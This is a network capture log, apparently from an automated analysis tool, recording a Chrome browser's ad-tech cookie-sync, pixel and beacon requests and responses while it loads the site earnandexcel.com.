2024-04-11 21:27:02 UTC	834	OUT	GET /pixel?google_nid=openx&google_hm=MmMzYjU1MmEtODM2Ny02MjA2LTU1NTUtZTlkYzIzZjNlZGE5 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:02 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 11 Apr 2024 21:27:02 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:02 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.17	50203	51.255.68.171	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	712	OUT	GET /bidswitch/sync?bidswitch_ssp_id=gumgum2&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy=1--- HTTP/1.1 Host: dsp.nrich.ai Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:02 UTC	553	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: - Content-Length: 0 Connection: close Location: https://x.bidswitch.net/sync?dsp_id=283&user_id=cba816c0-1876-423f-b490-332de34b0d15&expires=1&user_group=5&ssp=gumgum2&bsw_param=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&gdpr_pd= Set-Cookie: _nauid=cba816c0-1876-423f-b490-332de34b0d15; Path=/; Domain=.nrich.ai; Expires=Fri, 03 Oct 2025 21:27:02 GMT; Max-Age=46656000; Secure; SameSite=None Strict-Transport-Security: max-age=63072000; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.17	50207	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	807	OUT	GET /usersync?b=rth&i=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ&pi=gumgum&tc=1 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:02 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.17	50205	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	626	OUT	GET /464246.gif?partner_uid=5592f986-8757-0ac2-1fcc-3396d08a4211 HTTP/1.1 Host: id.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:02 UTC	729	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://id.rlcdn.com/1000.gif?memo=CPaqHBIvCisIARCUaxokNTU5MmY5ODYtODc1Ny0wYWMyLTFmY2MtMzM5NmQwOGE0MjExEAAaDQimq-GwBhIFCOgHEABCAEoA P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=y1SSLrgr5TZ8D2UKhA2xIpBom156XVCECfr/E2lbaSw=; Path=/; Domain=rlcdn.com; Expires=Fri, 11 Apr 2025 21:27:02 GMT; Secure; SameSite=None Set-Cookie: pxrc=CAA=; Path=/; Domain=rlcdn.com; Expires=Mon, 10 Jun 2024 21:27:02 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.17	50210	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	741	OUT	GET /bounce?%2Fasync_usersync%3Fcbfn%3DqueuePixels HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://acdn.adnxs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; uuid2=4283912458326592098
2024-04-11 21:27:02 UTC	1354	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 7d91408f-b301-4dc8-bb58-9b97551cc348 Set-Cookie: XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:02 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:02 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=4283912458326592098; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:02 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 585.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.17	50183	108.139.47.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	580	OUT	GET /www/sovrn_beacon_standalone/sovrn_standalone_beacon.js?iid=12343702 HTTP/1.1 Host: cdn.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:02 UTC	502	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 21172 Connection: close Last-Modified: Tue, 16 Jan 2024 17:32:11 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 11 Apr 2024 20:59:25 GMT ETag: "b4ecf05fe49c7d270978fd43997bee50" X-Cache: Hit from cloudfront Via: 1.1 2c6a244ba6cf015578de7d0a0b6908d4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: BIf8OSaDzice6jkEjH4xNNOtpoIcJsfbJ_JLYImKVjy5QdcExF6FoA== Age: 1658
2024-04-11 21:27:02 UTC	15882	IN	Data Raw: 2f 2f 73 6f 76 72 6e 20 62 65 61 63 6f 6e 20 73 74 61 6e 64 61 6c 6f 6e 65 20 2e 6a 73 0a 77 69 6e 64 6f 77 2e 73 6f 76 72 6e 20 3d 20 77 69 6e 64 6f 77 2e 73 6f 76 72 6e 20 7c 7c 20 7b 7d 3b 0a 73 6f 76 72 6e 2e 61 75 63 74 69 6f 6e 20 3d 20 73 6f 76 72 6e 2e 61 75 63 74 69 6f 6e 20 7c 7c 20 7b 7d 3b 0a 6c 65 74 20 62 65 61 63 6f 6e 46 6c 61 67 20 3d 20 66 61 6c 73 65 3b 0a 6c 65 74 20 63 6d 70 56 65 72 73 69 6f 6e 20 3d 20 30 3b 0a 0a 73 6f 76 72 6e 2e 61 75 63 74 69 6f 6e 20 3d 20 7b 0a 20 20 20 20 64 6f 4e 6f 74 54 72 61 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 20 28 6e 61 76 2c 20 77 69 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 6e 61 76 20 3d 20 6e 61 76 20 7c 7c 20 6e 61 76 69 67 61 74 6f 72 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 20 3d 20 77 69 6e 20 7c 7c Data Ascii: //sovrn beacon standalone .jswindow.sovrn = window.sovrn \|\| {};sovrn.auction = sovrn.auction \|\| {};let beaconFlag = false;let cmpVersion = 0;sovrn.auction = { doNotTrack: function (nav, win) { nav = nav \|\| navigator; win = win \|\|
2024-04-11 21:27:02 UTC	5290	IN	Data Raw: 20 77 69 6e 3b 0a 20 20 20 20 20 20 6c 65 74 20 63 6d 70 46 72 61 6d 65 3b 0a 20 20 20 20 20 20 6c 65 74 20 69 73 44 69 72 65 63 74 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 77 68 69 6c 65 20 28 66 20 21 3d 20 6e 75 6c 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 74 72 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 66 5b 61 70 69 4e 61 6d 65 5d 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6d 70 46 72 61 6d 65 20 3d 20 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 73 44 69 72 65 63 74 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 7d 0a 0a 20 Data Ascii: win; let cmpFrame; let isDirect = false; while (f != null) { try { if (typeof f[apiName] === 'function') { cmpFrame = f; isDirect = true; break; } } catch (e) {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.17	50206	3.223.215.115	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	815	OUT	GET /pixel?redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dsovrn%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID&sovrn_retry=true HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL
2024-04-11 21:27:02 UTC	595	IN	HTTP/1.1 307 Temporary Redirect Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 0 Connection: close Location: https://exchange.mediavine.com/usersync/redirect?partner=sovrn&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=IebHALZHwpD5VNKxRXavSHiL Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL;Version=1;Domain=.lijit.com;Path=/;Max-Age=31536000;Secure; SameSite=None; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.17	50198	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	758	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: checkForPermission=ok
2024-04-11 21:27:02 UTC	795	IN	HTTP/1.1 303 See Other Date: Thu, 11 Apr 2024 21:27:02 GMT location: https://cm.g.doubleclick.net/pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFKWUwwN01NS3NBQUJQdVJOY0xTdw&gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csyn%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 Server: gunicorn set-cookie: bito=AAJYL07MMKsAABPuRNcLSw; Domain=bidr.io; expires=Sun, 11 May 2025 17:27:02 GMT; Path=/; SameSite=None; Secure set-cookie: bitoIsSecure=ok; Domain=bidr.io; expires=Sun, 11 May 2025 17:27:02 GMT; Path=/; SameSite=None; Secure set-cookie: checkForPermission=""; Domain=bidr.io; expires=Thu, 01 May 2008 00:00:00 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.17	50199	44.206.160.179	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	521	OUT	GET /sync/pubmatic/25F9549E-136A-47E9-9171-DA44C0E0D5E3?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
2024-04-11 21:27:02 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q; Expires=Sat, 12 Apr 2025 03:27:02 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-04-11 21:27:02 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.17	50223	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	795	OUT	GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:02 UTC	660	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESEGBawKPr45rbp_xkzYZlz1Y&google_cver=1 Date: Thu, 11 Apr 2024 21:27:02 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 295 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:02 UTC	295	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 39 31 26 61 6d 70 3b 76 61 6c 3d 43 41 45 53 45 47 42 61 77 4b 50 72 34 35 72 62 70 5f 78 6b 7a 59 5a 6c 7a 31 59 26 61 6d 70 3b 67 6f Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESEGBawKPr45rbp_xkzYZlz1Y&go

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.17	50194	188.40.16.146	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	737	OUT	POST /mediavine-prod/detailviews/?frontend_timestamp=1712870820&frontend_sign=6132aede90471ff325884959cd5c2f86e3a8b23d HTTP/1.1 Host: client-rapi-mediavine.recombee.com Connection: keep-alive Content-Length: 118 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: text/plain sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:02 UTC	118	OUT	Data Raw: 7b 22 63 61 73 63 61 64 65 43 72 65 61 74 65 22 3a 74 72 75 65 2c 22 75 73 65 72 49 64 22 3a 22 66 63 30 39 65 61 64 30 2d 62 35 32 65 2d 34 33 64 34 2d 62 30 63 66 2d 36 37 61 33 62 30 64 64 32 33 34 64 22 2c 22 69 74 65 6d 49 64 22 3a 22 64 32 64 65 63 31 62 35 2d 34 61 63 61 2d 34 36 39 35 2d 62 62 66 38 2d 63 65 33 66 61 36 37 65 34 30 65 33 22 7d Data Ascii: {"cascadeCreate":true,"userId":"fc09ead0-b52e-43d4-b0cf-67a3b0dd234d","itemId":"d2dec1b5-4aca-4695-bbf8-ce3fa67e40e3"}
2024-04-11 21:27:03 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: application/json; charset=utf-8 Content-Length: 4 Connection: close X-Recombee-Request-Id: 2d3835a8c31816f4db661fd2c1cd8ca4 Cache-Control: no-cache Access-Control-Allow-Headers: Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token, Authorization Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS
2024-04-11 21:27:03 UTC	4	IN	Data Raw: 22 6f 6b 22 Data Ascii: "ok"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.17	50202	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	932	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:FF4FA33AD55F4AFDAF353CD71FB72BED HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
